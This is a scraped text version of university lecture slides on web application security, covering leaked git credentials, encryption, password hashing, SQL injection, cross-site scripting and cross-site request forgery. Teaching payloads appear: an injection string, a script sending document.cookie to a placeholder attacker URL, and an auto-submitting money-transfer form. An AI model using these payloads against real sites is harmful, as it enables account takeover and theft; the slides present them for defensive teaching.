Web Programming with Python and JavaScript

Size: px

Start display at page:

Download "Web Programming with Python and JavaScript"

Valerie Flynn
5 years ago
Views:

1 Web Programming with Python and JavaScript Lecture 9: Security July 26, 2018

2 Grades

3 3, 3, 3

4 Security

5 Context Git HTML Flask SQL APIs JavaScript Django CI/CD Scalability

6 Git

7 Open-Source Software

8 Two-Factor Authentication

9 2FA Something you know e.g., a password Something you have e.g., your cell phone

10 2FA Google Authenticator Duo Mobile Authy...

11 initial commit

12 initial commit credentials exposed

13 initial commit credentials exposed credentials removed

14 HTML

15 <a href="url1">url2</a>

16 <a href="url1">url2</a>

17 Flask

18 HTTP and HTTPS

20 client router A router B router C server

21 client router A router B router C server

22 client router A router B router C server

23 client router A router B router C server

24 Cryptography

25 Secret-Key Cryptography

26 plaintext sender receiver

27 plaintext key sender receiver

28 plaintext key ciphertext sender receiver

29 plaintext key ciphertext ciphertext sender receiver

30 plaintext key ciphertext ciphertext key sender receiver

31 plaintext key ciphertext ciphertext key sender plaintext receiver

32 Public-Key Cryptography

33 Keys public key private key

34 Keys public key private key Only used to encipher information, viewable by the world Only used to decipher information, known only by you

35 plaintext sender receiver r's pub. key r's priv. key

36 plaintext r's pub. key sender receiver r's pub. key r's priv. key

37 plaintext r's pub. key ciphertext sender receiver r's pub. key r's priv. key

38 plaintext r's pub. key ciphertext ciphertext sender receiver r's pub. key r's priv. key

39 plaintext r's pub. key ciphertext ciphertext r's priv. key sender receiver r's pub. key r's priv. key

40 plaintext r's pub. key ciphertext ciphertext r's priv. key sender plaintext receiver r's pub. key r's priv. key

41 Environment Variables

42 app.config["secret_key"] = "k7jnd9j3mu2xph"

43 app.config["secret_key"] = os.environ.get("secret_key")

44 app.config["secret_key"] = os.getenv("secret_key")

45 SQL

46 users id username password 1 alex hello 2 david doug password 4 malan abcdef 5 rodrigo password

47 Password Managers 1Password.com LastPass KeePass

48 users id username password 1 alex hello 2 david doug password 4 malan abcdef 5 rodrigo password

49 users id username p_hash 1 alex 5D41402ABC4B2A76B9719D911017C592 2 david 827CCB0EEA8A706C4C34A16891F84E7B 3 doug 5F4DCC3B5AA765D61D8327DEB882CF99 4 malan E80B FC58AAD83C8C14978E 5 rodrigo 5F4DCC3B5AA765D61D8327DEB882CF99

50 users id username p_hash 1 alex 5D41402ABC4B2A76B9719D911017C592 2 david 827CCB0EEA8A706C4C34A16891F84E7B 3 doug 5F4DCC3B5AA765D61D8327DEB882CF99 4 malan E80B FC58AAD83C8C14978E 5 rodrigo 5F4DCC3B5AA765D61D8327DEB882CF99

55 SQL Injection

58 SELECT * FROM users WHERE (username = uname) AND (password = pword)

59 alice 12345

60 SELECT * FROM users WHERE (username = uname) AND (password = pword)

61 SELECT * FROM users WHERE (username = 'alice') AND (password = '12345')

62 hacker 1' OR '1' = '1

63 SELECT * FROM users WHERE (username = uname) AND (password = pword)

64 SELECT * FROM users WHERE (username = 'hacker') AND (password = '1' OR '1' = '1')

65 SELECT * FROM users WHERE (username = 'hacker') AND (password = '1' OR '1' = '1')

66 SELECT * FROM users WHERE (username = 'hacker') AND (password = '1' OR '1' = '1')

67 APIs

68 API Keys

69 API Keys Rate Limiting Route Authentication

70 Break

71 JavaScript

72 Cross-Site Scripting (XSS)

73 from flask import Flask, request app = Flask( name def index(): return "Hello, def not_found(err): return "Not Found: " + request.path

74 from flask import Flask, request def index(): return "Hello, def not_found(err): return "Not Found: " + request.path

75 from flask import Flask, request def index(): return "Hello, def not_found(err): return "Not Found: " + request.path

76 from flask import Flask, request /<script>document.write( '<img src="hacker_url?cookie=' + document.cookie + '" />')</script> def index(): return "Hello, def not_found(err): return "Not Found: " + request.path

77 from flask import Flask, request /<script>document.write( '<img src="hacker_url?cookie=' + document.cookie + '" />')</script> def index(): return "Hello, def not_found(err): return "Not Found: " + request.path

78 Django

79 Cross-Site Request Forgery (CSRF)

80 <body> <a href=" Click here! </a> </body>

81 <body> <img src=" /> </body>

82 <body> <form action=" method="post"> <input type="hidden" name="to" value="doug" /> <input type="hidden" name="amt" value="500" /> <input type="submit" value="click here!" /> </form> </body>

83 <body onload="document.forms[0].submit()"> <form action=" method="post"> <input type="hidden" name="to" value="doug" /> <input type="hidden" name="amt" value="500" /> <input type="submit" value="click here!" /> </form> </body>

84 <form action="/transfer" method="post"> {% csrf_token %} <input type="text" name="to" placeholder"recipient" /> <input type="number" name="amt" placeholder="amount" /> <input type="submit" value="transfer" /> </form>

85 Testing, CI/CD

86 Scalability

87 DoS Attacks

88 DDoS Attacks

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11 Attacks Against Websites Tom Chothia Computer Security, Lecture 11 A typical web set up TLS Server HTTP GET cookie Client HTML HTTP file HTML PHP process Display PHP SQL Typical Web Setup HTTP website: